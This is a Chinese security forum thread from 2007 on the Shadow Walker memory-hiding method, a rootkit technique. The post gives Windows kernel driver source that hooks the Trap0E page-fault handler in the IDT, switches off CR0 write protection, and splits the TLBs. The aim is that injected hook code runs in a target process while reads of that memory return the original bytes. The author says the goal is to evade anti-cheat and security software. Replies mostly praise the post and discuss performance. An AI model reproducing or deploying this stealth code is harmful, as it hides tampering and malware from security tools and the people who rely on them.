看雪论坛
发新帖
12

[黑客技术与防范] [原创]Windows内存隐藏技术初探

NetRoc 2007-12-17 11:30 87230
NetRoc/cc682
    最早看到Shadow Walker这种隐藏内存数据的技术的时间忘了,呵呵。大约是一年多或者两年以前吧。当时还只是提出了理论性的东西,没有人实现出来。前段时间搞NP玩的时候,对Themida和虚拟机深恶痛绝,遂想,干脆把内存数据隐藏得了,省得挂个钩子还得缩手缩脚,找个一劳永逸的办法。于是google了一把网上的代码,自己也花了几天时间实现了一下。虽然不太完美,不支持PAE,目前也只能隐藏ring3的代码,不过对这项技术的原理和实现也算是摸清楚了。由于对现在的安全软件具有极度破坏性的杀伤力,开始没想写这篇文章,不过最近确实比较无聊,NMAKE的文章又比较难写,so还是写写玩吧,权当练文笔了,呵呵。
    关于内存隐藏的概念。有时候我们会面临这么一个问题,如果我们有一段内存中的代码,不想被别人发现,但是又要它能确确实实的执行起来起作用,怎么办?或许有很多办法,比如自我变形之类的。但是,如果可以完完全全把这段代码的痕迹从内存中“抹消”,岂不是很舒坦的事情?hoho。简单来说,就是让内存中的一段数据,执行的时候是一个样子,但是read/write的时候又是另外一个样子。是不是有点玄妙了?呵呵。
    一切都要从Petium架构CPU提供的TLBS说起。TLBS的全称是Translation Lookaside Buffers。为了加速处理器内存在分页模式下的访问速度,从P6 family的cpu开始就支持这样一种特性。处理器会将最近访问过的页目录(page-directory)和页表(page-table)存储在芯片内部称为translation lookaside buffers的缓存中。P6 family处理器分别为4K页面和4M页面分别保留不同的TLBs。绝大多数对分页的访问,都可以通过TLBs的内容完成,只有在缓存中找不到所访问的页面的信息时,才会去访问实际的页目录和页表。Ring0的代码通过重新装载CR3或者使用INVLPG指令,可以将TLB里面某些页表的入口无效化。而CPU分别为内存的执行和读写保存了不同的TLB,即DTLB和ITLB。对于DTLB,在执行数据访问指令的时候,会更新DTLB中被访问页面的入口;而对于ITLB,在执行某个页面代码的时候,会更新ITLB内的入口。通常情况下,DTLB和ITLB的内容是同步的,但是我们可以通过操作这两种TLB,实现对某段内存的读写/执行控制。
    如何才能在某个内存地址被读写或者访问的时候获得控制呢?很明显,当内存访问出错的时候,系统会触发页面异常,即Trap0E。通过钩挂Trap0E,并且将我们要控制的内存页面PTE标记为不存在,并且通过INVLPG指令清空TLB中该页的入口,这样,当对这个页面进行读写/执行访问的时候,TLB中不存在该页的入口信息,并且页面不存在,能够触发Trap0E,使得我们可以获得系统的控制权。
接下来,我们需要区分触发异常是由于读写访问还是执行访问。通过比较发生异常的页面地址,和出现异常的代码地址,我们可以区分异常类型。如果出现异常的地址就是发生异常时正执行的代码地址,那么说明是一次执行访问;反之则是读写访问。在捕获到异常并区分出异常类型之后,就可以通过分别手动装载DTLB和ITLB使得读写/执行数据的过滤。TLB被装载之后,只要没有被清除出去,对这些页面的访问就通过TLB里面的内容实现。这样使得Hook页面之后的访问速度,比未Hook之前并不会有明显的损失。
    基本的思想就是这样了,后面贴出来一些我的代码实现,其中很多直接“参考”了OllyBone和网上其他公布出来的代码。
    由于目的是想做对目标进程的Hook,并且隐藏被修改的代码,仅需要支持对ring3代码的隐藏即可。我的流程是在驱动中提供了一个接口,将应用层传进去的一段代码复制到要hook的地址,并保存原始内容。通过内存伪装,使得该地址执行的是新代码,而读写操作得到的是旧代码。为了在自己Trap0E里面区分是哪个进程触发的异常,采用了比较奇怪的办法,即通过对比CR3寄存器的值来判断,至于为什么这么做,忘了……。另外,为了装载ITLB,需要调用一下伪装页面内的代码,所以我们在被Hook的页面内需要找到一条retn指令,并把这个地址传递给驱动,在装载ITLB的时候,驱动程序直接call这句retn。
    下面的代码还有一些问题,只是当时写的实验性的代码,所以也比较零乱。不过大致的流程是清楚的。

    这段是IoCtrl里面的
case IOCTL_SHADOWHOOK:
                //Shadow Hook!!
                g_ulHookPid = (ULONG)PsGetCurrentProcessId();
                g_ulHookProcessCr3 = GetCR3();
                if( g_pbyCode == NULL)
                {
                        g_pbyCode = ExAllocatePoolWithTag( PagedPool, 4*1024, 'SWHK');
                        g_pMdl = IoAllocateMdl( g_pbyCode, 4*1024, FALSE, FALSE, NULL);
                        if ( g_pMdl == NULL)
                        {
                                ExFreePool( g_pbyCode);
                                g_pbyCode = NULL;
                                break;
                        }
                        else
                        {
                                __try
                                {
                                        MmProbeAndLockPages( g_pMdl, KernelMode, IoReadAccess);
                                        g_blIsLocked = TRUE;
                                }
                                __except( EXCEPTION_EXECUTE_HANDLER)
                                {
                                        IoFreeMdl(g_pMdl);
                                        g_pMdl = NULL;
                                        ExFreePool( g_pbyCode);
                                        g_pbyCode = NULL;
                                        g_blIsLocked = FALSE;
                                }
                        }
                }
                RtlZeroMemory( g_pbyCode, 4*1024);
                pstShadowHookInfo = (PSHADOW_HOOK_INFO)Irp->AssociatedIrp.SystemBuffer;
                RtlCopyMemory( g_pbyCode, (PVOID)(pstShadowHookInfo->ulStartAddr & 0xFFFFF000), 4*1024);
                SetCopyOnWrite( (PVOID)pstShadowHookInfo->ulStartAddr);
                g_ulHookCodeLen = pstShadowHookInfo->ulLength;

                _asm
                {//关闭内存写保护
                        cli;
                        mov eax,cr0;
                        and eax,0fffeffffh;
                        mov cr0,eax;
                }
                RtlCopyMemory( (PVOID)pstShadowHookInfo->ulStartAddr, (PVOID)pstShadowHookInfo->pbyHookCode, pstShadowHookInfo->ulLength);
               
                _asm
                {//重新打开内存写保护
                        mov eax,cr0;
                        or eax,0x10000;
                        mov cr0, eax;
                        sti;
                }
               
               
                CpuCount = *KeNumberProcessors;
                while( CpuCount > 0)
                {
                        KeSetAffinityThread( KeGetCurrentThread(), CpuCount);//绑定CPU
                        HookMemoryPage( (PVOID)pstShadowHookInfo->ulStartAddr, g_pbyCode, (PVOID)pstShadowHookInfo->pfnNullSub);
                        CpuCount--;
                }
                g_blIsHookedPage = TRUE;
                ntStatus = HookTrap0E();
                if( !NT_SUCCESS(ntStatus))
                {
                        DbgPrint( "HookTrap0E fail.\r\n");
                }
                break;
下面是钩挂Trap0E
Hook Trap0E
NTSTATUS HookTrap0E()
{
        CCHAR CpuCount = 0;
        PIDTENTRY    IdtEntry = NULL;
        IDTR stIdtr = {0};

        if( g_blIsHookTrapE0)
                return STATUS_UNSUCCESSFUL;

        CpuCount = *KeNumberProcessors;
        while( CpuCount > 0)
        {
                KeSetAffinityThread( KeGetCurrentThread(), CpuCount);//绑定CPU
               
                //得到 IDTR 中得段界限与基地址
                _asm sidt stIdtr;
                IdtEntry = (PIDTENTRY)stIdtr.Base;
               
                //保存原有得 IDT
                RtlCopyMemory(&g_IdtEntryOld, &IdtEntry[0x0E], sizeof(g_IdtEntryOld));

                _asm cli;//禁止中断
                g_ulOldTrap0E = (ULONG)IdtEntry[0x0E].OffsetLow | ((ULONG)IdtEntry[0x0E].OffsetHigh<<16);               
                IdtEntry[0x0E].OffsetLow   = (unsigned short)NewTrap0E;                           
                IdtEntry[0x0E].OffsetHigh  = (unsigned short)((unsigned int)NewTrap0E>>16);
                _asm sti;//开中断

                CpuCount--;
        }
        g_blIsHookTrapE0 = TRUE;
        return STATUS_SUCCESS;
}

这是Hook一个页面
void HookMemoryPage( PVOID pExecutePage, PVOID pReadWritePage,
                                        PVOID pfnCallIntoHookedPage)                          
{                           
        PPTE ExecutePte;
        g_pExecutePage = pExecutePage;                             
        g_pReadWritePage = pReadWritePage;                        
        g_pfnCallIntoHookedPage = pfnCallIntoHookedPage;   
        __asm cli; //关中断                                                                                          
        ExecutePte = GetPteAddress( pExecutePage);
        g_pReadWritePTE = GetPteAddress( pReadWritePage);
        g_ExecutePTE = ExecutePte;

        //这里因为我们是Hook ring3页面,所以不用EnableGlobalPageFeature
    //EnableGlobalPageFeature( ExecutePte);

    //标记页面为不存在                                       
    MarkPageNotPresent( ExecutePte);

    //清空TLB入口
    __asm invlpg pExecutePage

        __asm sti //reenable interrupts                             
}//end HookMemoryPage  

下面是钩挂的Trap0E的代码了。关键就在这里。
#pragma optimize( "", off )
void __declspec (naked) NewTrap0E(void)
{
        __asm                                                   
        {                                                      
                pushad                                          
                mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode
          test edx, 1        //不是缺页错误
                  jne PassDown

                //通过CR3判断当前进程
                mov eax, cr3
                cmp eax, g_ulHookProcessCr3
                jnz PassDown

                mov eax,cr2     //faulting virtual address
                ////////////////////////////////////////
                //判断是否是Hook掉的page
                /////////////////////////////////////////
                mov ebx, g_pExecutePage
                  and  ebx, 0xFFFFF000
                 and  eax, 0xFFFFF000
                cmp eax, ebx
                mov eax, cr2       
                jnz PassDown  //不是,传下去

                ///////////////////////////////////////         
                //下面处理Hook掉的页面了
                /////////////////////////////////////           
                mov eax, cr2                                                                  
                push eax
                push eax
                call GetPteAddress
                mov ebx, eax        //ebx = pPte
                pop eax           
                cmp [esp+0x24], eax     //判断是执行出错还是读写时出错?
                je LoadITLB  

               
               //判断是否是Hook的那些字节                               
                cmp eax, g_pExecutePage
                jb  LoadDTLB
                sub eax, g_pExecutePage
                cmp eax, g_ulHookCodeLen
                jg  LoadDTLB
                jmp LoadFakeFrame
LoadITLB:
                ////////////////////////////////               
                //是一次执行操作,所以Load ITLB
                ///////////////////////////////                 
                cli                       
                or dword ptr [ebx], 0x01         //标志页面为存在
                call g_pfnCallIntoHookedPage //通过调用一下那个页面内的代码,装载ITLB
                and dword ptr [ebx], 0xFFFFFFFE  //重新标记为不存在
                //sti                                             
                jmp ReturnWithoutPassdown                       
                                                               
                ////////////////////////////////               
                // 这是读写造成的异常,并且不在我们要隐藏的代码范围内,Load DTLB
                ///////////////////////////////                  
LoadDTLB:
                cli   
                mov eax,cr2
                or dword ptr [ebx], 0x01           //mark the page present
                mov eax, dword ptr [eax]           //load the DTLB        
                and dword ptr [ebx], 0xFFFFFFFE    //mark page not present
                //sti                                             
                jmp ReturnWithoutPassdown                       

                /////////////////////////////////               
                //需要隐藏这段代码,所以Load伪装的页面
                /////////////////////////////////   

LoadFakeFrame:     
                mov eax, cr2
                mov esi, g_pReadWritePTE
                mov ecx, dword ptr [esi]            //ecx = PTE of the   
                                                                    //read / write page   
                //把页面替换为假的
                mov edi, [ebx]                                 
                and edi, 0x00000FFF //preserve the lower 12 bits of the   
                                    //faulting page's PTE                 
                and ecx, 0xFFFFF000 //isolate the physical address in     
                                    //the "fake" page's PTE               
                or ecx, edi                                    
                mov edx, [ebx]     //save the old PTE so we can replace it
                cli      
                mov [ebx], ecx    //replace the faulting page's phys frame
                                  //address w/ the fake one
                //load DTLB
                or dword ptr [ebx], 0x01   //标志为存在
                mov eax, cr2               //faulting virtual address     
                mov eax, dword ptr[eax]    //访问一次页面的数据,Load DTLB
                and dword ptr [ebx], 0xFFFFFFFE //重新标志为不存在
                                                               
                //Finally, restore the original PTE
                mov [ebx], edx                                 
                //sti                                             
                                                               
ReturnWithoutPassDown:                                          
                popad                                          
                add esp,4
                sti
                iretd                                          
                                                               
PassDown:                                                      
                popad                                          
                jmp g_ulOldTrap0E
                                                               
        }//end asm                          
}       
#pragma optimize( "", on )
本主题帖已收到 0 次赞赏,累计¥0.00
最新回复 (80)
11
一块三毛钱 2007-12-17 11:33
2
good, very good.
17
winndy 2007-12-17 11:34
3
我来学习
2
aki 2007-12-17 11:48
4
半年前就见到过一个驱动实现了这个功能,但是原理没看,也看不懂
12
yijun8354 2007-12-17 11:53
5
不错,学习了~~~
30
softworm 2007-12-17 12:13
6
OllyBone用的是SuperVisor位,我测试的结果似乎有时候停下来的位置不准确,deroko还有另外一种类似的实现,但要挂SwapContext
9
xIkUg 2007-12-17 13:02
7
赞。。。很好
8
Bughoho 2007-12-17 13:07
8
好。。。很赞
13
foxabu 2007-12-17 14:48
9
是不是就是传说中的缺页中断?rootkit好像讨论过.
不过据说好像这样对性能有很大的开销?  乱说
希望有人指点.
66
KuNgBiM 2007-12-17 16:06
10
学习一下
26
forgot 2007-12-17 16:07
11
fuck trap 0E
fuck fuck trap 0E
...
linhanshi 2007-12-17 16:08
12
NetRoc:to learn。
7
壹只老虎 2007-12-17 19:36
13
学习!~``````
16
shoooo 2007-12-17 19:49
14
看2楼和3楼的回帖速度就知道楼主的来头了
1
Rinrin 2007-12-17 21:01
15
怎么检测
htsf110 2007-12-17 21:58
16
有创意, hao,hao,hao
6
elance 2007-12-17 22:59
17
抓紧学习,
17
海风月影 2007-12-18 00:20
18
又是一个来自xx的隐牛~~
25
sudami 2007-12-18 07:51
19
看得很蒙胧啊。

学习~
zhucheba 2007-12-18 10:16
20
没看过,好好学习
2
saga 2007-12-18 14:36
21
现在 还看不懂 菜鸟我啊
顶一个  谢谢分享
daviswu 2007-12-18 15:56
22
谢谢分享 学习ing
8
ccfer 2007-12-18 16:57
23
这个太深奥了
1
云重 2007-12-18 17:03
24
前一阵花了 大概不倒 2天把 PAE 给研究了下,嘿嘿
24
nbw 2007-12-18 18:27
25
有那个什么ring3下的异常拦截,把那个hook掉是不是也可以达到这个效果呢
26
combojiang 2007-12-19 00:09
26
嗯,好文,顶顶
4
qyc 2007-12-19 10:44
27
学习,学习!!!
lionkinglk 2007-12-20 16:22
28
太深奥了
28
binbinbin 2007-12-20 16:43
29
收藏下来先 多谢分享
Mike1234567890 2007-12-21 22:16
30
厉害啊
用驱动来玩注入
太牛了
3
炉子 2007-12-22 12:54
31
强大   顶下
kagayaki 2007-12-23 06:22
32
没看过,好好学习
liyunling 2007-12-23 17:28
33
好复杂啊  看不太懂
gencrack 2007-12-28 16:33
34
我也来学习下~!
4
Aker 2007-12-29 13:34
35
blabla~~~~~学习 ...
Kendiv 2008-1-6 00:21
36
个人估计对性能会有较大影响,普通PC,缺页中断发生的很频繁,Clear TLB是个危险的行为。
Demo还可以,实际性能,个人估计够呛。
hyyszz 2008-1-6 07:57
37
难以理解 好好研究下
sailmer 2008-1-6 11:24
38
good good study, day day up!
让cpu找得到,又不让MSOS的查询功能找到
这是个问题
12
NetRoc 2008-1-6 17:58
39
绝大部分的内存访问,都会从TLB中读取页表入口,而不会直接触发Trap0E。实际使用的时候并不存在明显的性能损失。
greenrock 2008-1-6 20:17
40
收藏学习
谢谢
红色风云 2008-1-7 21:18
41
学习和大家同乐!
星星人 2008-1-8 16:12
42
up!好帖子,不错
6
火翼[CCG] 2008-1-10 15:31
43
顶起来
zhjiqi 2008-1-13 10:21
44
不错,学习了~~~
2
steak 2008-1-15 02:11
45
确实是阴招。
灰狐 2008-1-15 02:34
46
缺页中断在学习操作系统的时候有比较详细的讲解,不过那都是过于偏重理论
doking 2008-11-23 16:02
47
我看懂了,这可能是网上能找到的最相对完整的代码了!
deathsign 2009-3-1 22:45
48
如果不操作那片的话。。。
其实可以搞进去以后 再开块空间把自己写进去,然后自己写在自己原来的镜像。。。
不知道这样行不。。。虽然是离散指针。。。但是还是隐蔽了···

哈哈哈 菜鸟所见。。。。见笑
vicky晨 2009-4-16 00:32
49
有点深..谢谢分享 学习ing
二毛 2009-5-26 19:13
50
GetCR3是微软提供的函数吗?
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 域名 加速乐 保护 | SSL证书 又拍云 提供 | 微信公众号:ikanxue
Time: 0.022, SQL: 9 / 京ICP备10040895号-17